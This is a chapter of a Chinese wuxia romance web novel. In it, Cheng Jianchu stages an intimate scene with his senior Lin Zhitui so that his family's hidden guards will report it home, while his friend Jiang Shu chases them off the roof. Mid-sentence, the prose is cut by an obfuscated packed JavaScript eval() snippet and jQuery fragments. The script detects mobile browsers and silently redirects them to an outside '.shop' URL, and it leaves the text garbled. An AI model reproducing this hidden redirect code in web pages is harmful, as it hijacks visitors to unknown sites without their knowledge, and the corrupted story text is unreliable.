林知退回到房间,程见初跟着他进来。林知退看他一眼,没说话。

    程见初假装不知道发生了什么事,关了门转身问他:“师兄怎么不好好吃饭,就自己上来了?”

    林知退哼了一声,不搭理他,抬手解外褂。程见初走过来帮他解开衣襟,又笑着问:“现在不好好吃,晚上饿了怎么办?”

    林知退抬眼反问他:“你不是说自己不认识那江公子吗?”

    他顿了顿,又马上心烦地一摆手:“算了……你不要讲,我不听。”

    程见初张了张嘴,最后说:“——师兄,他不是认错人了嘛。”

    “认错什么呀。”林知退皱着眉,“他不会还继续以为你是那个,那个,程,程……”

    “程家少主?”程见初问。

    林知退扬起下巴,凶他说:“程初一!”

    程见初赶紧低下头,顺从地说:“他确实这么以为的。”

    林知退看他:“你没否认?”

    “这不是想让师兄上那擂台……”程见初摆出一副委屈的样子,好似林知退无理取闹了一样。

    林知退噘起嘴琢磨着,总觉得哪里不对劲。他坐下来,不怎么确定地说:“……可是,他俩既然是旧相识,怎么能把好朋友认错了?而且他对你那么亲近——”

    “那没有。”程见初赶紧说,“也没那么亲近,我看这俩人只是好朋友。”

    林知退啧了一声,“你怎么知道?那江公子跟你说什么了。”

    程见初面不改色:“他让我比武的时候手下留情,怕输给我。”

    林知退很是怀疑:“他不是济川第一剑客吗?怎么会眼神这么差,分不清你们俩呢。”

    程见初把衣服挂好,走过来坐到林知退身边,“他们认错了不是更好?我把那些人都打败,然后再输给师兄——”

    “哎哎哎那可不行。”林知退赶紧说,“我路上想过了,总归我是不要娶那沈家小姐的,别害了人家姑娘,还是换个人赢吧。”

    “那就……让江公子赢?”程见初看他。

    林知退有点不情愿,但他也不认识别人了。“也行……也行,他也行。”

    程见初挺高兴地说:“师兄人真好。”

    林知退抿了抿嘴,不知为何,看见那江戍和程见初贴近了说话,心里总是有些不痛快。他舔舔嘴唇,觉得又饿了,但不好意思说,只能忍着。

    程见初哪知道他的别扭,蹲下来帮林知退脱了鞋子,好声好气地问道:“师兄……我一直想问,你没想过回家去看看吗,离家也挺久了。”

    林知退垂下眼睛去,抠着手没吭声。程见初等了一会儿,那人才慢吞吞地说:“……等看完比武招亲了我就回去。”

    程见初刚想说好,林知退却又抬眼看他:“那你怎么办呢,家还没找着呢。”

    程见初笑得眼睛弯起来,像盛了蜜,“哦,师兄要是不嫌弃,就带我回家去吧。”

    林知退眨着眼睛,嘴巴硬得很:“才不要,带你回去,怎么跟我爹娘说?”

    “就说……就说我人好话少力气大,啥活都能干。”程见初坐回林知退身边,轻轻撞了撞他,“你带我回去,这不是还能伺候你么。”

    林知退低下头,慌得舌头打结:“什么,什么伺候我,你还是要回家的,总不能一辈子在外面——”

    “反正我现在也没有地方去。”程见初靠近了林知退,声音轻了些,“也只有师兄可以依靠了。”

    两个人贴得太近了,林知退不由得往后躲了躲。程见初却没停下来,接着又贴近了些,垂下眼睛看林知退的鼻尖。

    “……师兄。”程见初的声音几不可闻。

    林知退嗯了一声,紧张得动也不敢动。程见初离他很近,耳朵却是听着外面。方才走廊中有很轻的声音扫过,接着又是一个。家里暗卫真是好烦,跟着自己没完没了,肯定是大师兄派来的吧……江戍可得跟住了,快些把人赶走才好,程见初不想被绑回去。

    他许久没动,但是靠这么近,可把林知退搞得心乱跳。他忐忑地等了一会儿,见程见初还是不动,实在受不住,就躲了一下:“你……你去给我倒杯茶。”

    程见初没动,还垂眼看着他。林知退缩了一下,可是程见初的胳膊不知道什么时候已经圈住了自己,把他锁在了原处。两个人靠得更近了,林知退腰就软了,抬手推他:“你,你过去一点。”

    程见初忽地笑了:“不要。”

    林知退瞪他,刚想说话,却冷不防听见头顶有轻轻的响动。他一下子停了,程见初也听见了,立即对着林知退比了个嘘,两个人都不出声了。

    那声音很轻,咔哒一声,就停在悬梁上方处。程见初抬起头看,林知退也跟着一起看,却没发现什么端倪,只好贴着他的耳朵说:“初一——”

    程见初眉目流转,贴着林知退问他:“师兄,你信我吗?”

    林知退点点头:“嗯。”

    程见初握住了他的手,轻轻把林知退推躺在床上,低头看他。林知退出了汗,神情有些慌乱,程见初俯下身,带着笑意轻声说:“师兄,还记不记得我跟你说过解毒的法子?”

    头顶的声音再次响起,林知退的眼神忍不住扫过去,程见初却好像没被影响,他的长发垂下来,林知退不知道要做什么反应,只好假装游刃有余地伸手去抓他的发丝。程见初由着他去,其实大部分心思都在房顶。

    这江戍行不行了啊,半天也不能把人赶走,这么慢吗。

    两个人各怀心思地对视着,过了半晌,林知退终于结结巴巴地问:“你,你说的解毒法子,是要干嘛啊。”

    程见初回过神来,他故意和林知退这样,就是为了叫暗卫看见,好回去跟他大师兄说的。大师兄一向疼他,若是误以为有了心上人,那应该就不用再搞那劳什子联姻——

    他还没想完,林知退又说:“你,你要是不会解,就,就就就起来吧,我起来了,起来了。”

    他作势要起,程见初正要动,却突然听见头顶传来了声音。那声音极轻,若非他熟悉自家暗卫,万是注意不到的。刚才在门口,跟在后面的脚步大约是江戍,那人轻功并不好,程见初总笑他走路似坠着石头。现在两个人都上了房,程见初思考着这两个人谁会赢,抓着林知退的力气就大了些。等回过神来,发现身下人已经气红了脸,正羞恼地往床里缩。

    程见初本来就有些欺负他的心思,见林知退这样子,突然很想做些更过分的事,让那暗卫看见了,回家不但告诉大师兄,最好还要跟他爹讲。他爹会不会暴跳如雷呢,他不要继承门派,偏偏出来跟着个不会武功的少爷四处乱跑。

    “师兄……”程见初眼色暗了暗,故意贴过去,“——当然要解毒的。”

    林知退有些生气了:“你还骗我?这怎么是解毒啊,你就捉弄我!”

    他这一嗓子让上头的人一顿,接着脚步一点,忽然缠斗在一起。程见初心说江戍这家伙这么多年轻功还是没长进,这一跳跟绑着十斤大米似的。

    这回声音大了,连林知退也听得真切。他不由得跟着声音望上去,程见初却抚上了他的脸,让他看着自己:“——师兄,你怎么知道这不是解毒?”

    林知退眼睛不住地看向头顶,那边已经有了瓦片轻微的咔哒声,间或有几声很重,似乎在到处走。他不安地说:“初一,我们上面好像有人。”

    程见初嗯了一声,拉着他的手微微施力,林知退觉得手心热起来,他不知道这是内功,立刻被吸引了注意力:“啊,啊,很热。”

    程见初看着他,“对的,师兄体内有毒,碰着我这极阴之体,就有反应。”

    他胡说八道着,把林知退唬得一愣一愣的。程见初声音微微大了一些:“师兄,你什么时候带我回家见爹娘?”

    林知退不知道他怎么说的话乱七八糟的,整个人都有点呆,“啊?啊,回家?你跟我回……”

    “师兄不是说好了带我回去吗?昨晚说的。”程见初一脸委屈。

    说了吗?林知退答不出来了,哼哼了几声不讲话。程见初做出恍然大悟的样子:“哦——因为师兄不嫌弃我。”

    林知退垂下眼睛去,“……谁嫌弃你了。”

    这时,楼上的声音更大了,林知退一抖,刚望上去,程见初却又靠过来,还把手伸到林知退的外襟里,轻轻抚在他的腰上。林知退慌了,程见初的手好热,这样亲近让他招架不了,也不知道怎么拒绝,只好一直叫“有人有人”,但

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610173|205913||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    却怎么都躲不开。他反而更往床里退去,程见初还爬上来,把自己挤到角落里。

    林知退慌死了,楼上那人似乎也误会了他俩在干这种事,脚步从屋子这头奔向那头,还伴着毫不掩饰的打斗声。程见初暗暗叹口气,心说这江戍能不能快一些,把人赶走就好了,怎么在上头打个没完……

    林知退实在没办法了,只好细细地说:“初一,头上真的有人,要不,要不我去看看。”

    程见初睁大眼睛:“师兄上去看看?”

    林知退点点头,嘴巴红红的,脸也红红的,“总不好……总不好让你去,你武功也不好。”

    上头传来江戍的“啊?”,声音好大,林知退隐隐约约听见了,立刻皱起眉:“这动静怎么听着耳熟。”

    程见初抱起他,无声地啧了一下,安抚说:“师兄,没事,我出去看看,你跟我一起?”

    林知退衣服都被他弄皱了,鞋子也还没穿呢。他说着好好好,赶紧起来要去穿外袍,程见初却揽着他说:“就这样吧,说不定这屋顶是猫,赶走便是,用不着穿外衣。”

    得让自家暗卫好好看看林知退的脸,回去跟他爹讲清楚,玄枢派的少主看上个不会武功的小少爷,可得仔细些保护,万万不能有一点闪失。

    他拉着林知退下了床,俯身给他穿鞋,那屋顶动作一顿,忽然就安静了。

    暗卫跑了,估计是看见程见初干的这事,回去告状。他假装听了一会儿,抬头跟林知退说:“师兄,猫跑了。”

    林知退哪听得出来,只知道头顶没声了。他拉着程见初:“那你快起来吧……”

    程见初起身,林知退有些赧然:“那个,你再去给我找些吃的来,我没吃饱。”

    程见初笑着凑过去,给他拉了拉衣服:“这就去。”

    林知退哎呀叫了一声,但又没真的生气。程见初侧头看他,就忍不住喊:“师兄——师兄。”

    林知退想表现得不那么害羞,就板着脸说:“干嘛。”

    他边说边无意识地抬手绾着程见初的长发,卷在自己手指上。程见初笑了,很认真地对林知退说:“师兄,你以后回家,一定带着我吧。”

    林知退脸色更红:“……那,那和我爹娘要怎么说啊。”

    “就说,就说你把我捡了,回来伺候你的。”程见初觉着他全身热乎乎的,可爱得紧,“师兄不如现在写信给家中,跟他们说吧。”

    林知退被他说得晕晕的,要说什么啊?不知道这程见初讲的什么胡话,突然就要和自己回家。

    程见初见林知退愣着不说话,面上忽然就带了委屈:“师兄不愿意给我个师弟的名分,也没关系,但可万万不能舍了我不要,留我一人在外面漂泊。”

    林知退眨着眼睛看他:“……啊。”

    他觉着不对劲:“但是初一——”

    “我知道师兄嫌弃我。”程见初扭过脸去,眼睛红了,“我吃得多干活笨,武功也不好,师兄不肯认我,也是情理之中。”

    林知退急了:“不是,我没有那个意思——”

    “那师兄现在就给家中写信吧。”程见初立刻说,“我下去给你拿饭菜上来,等你写好了,我便找人送师兄家里去。”

    林知退拉着他:“可是,可是我要写什么啊?”

    程见初低下头去:“你就跟老爷夫人说我是你收养的下人——”

    什么乱七八糟的。林知退打断他:“你等会,你让我想想。”

    “我以为师兄心里是有我的。”程见初咬着嘴唇。

    林知退眨巴着眼睛看他,“……程初一,你今天很奇怪,但是哪里奇怪,我说不上来。”

    “师兄——”

    “别师兄啦,你喊得我头都大了。”林知退捂住他的嘴,“你去楼下再要些点心来,我要先吃饭!”

    程见初点了点头。

    他乖顺地起身出了卧房,推开外门想下楼去。不曾想刚迈出一步,就看见门口用筷子插了个字条在上面。程见初拿了下来,看见江戍写:「不会武功的程公子:你师兄的家书若也要我找人送,是要加银子的。还有,再不要让我看见这等□□之事了!!」

    他笑着挑了下眉,心情很好地下楼找小二去了。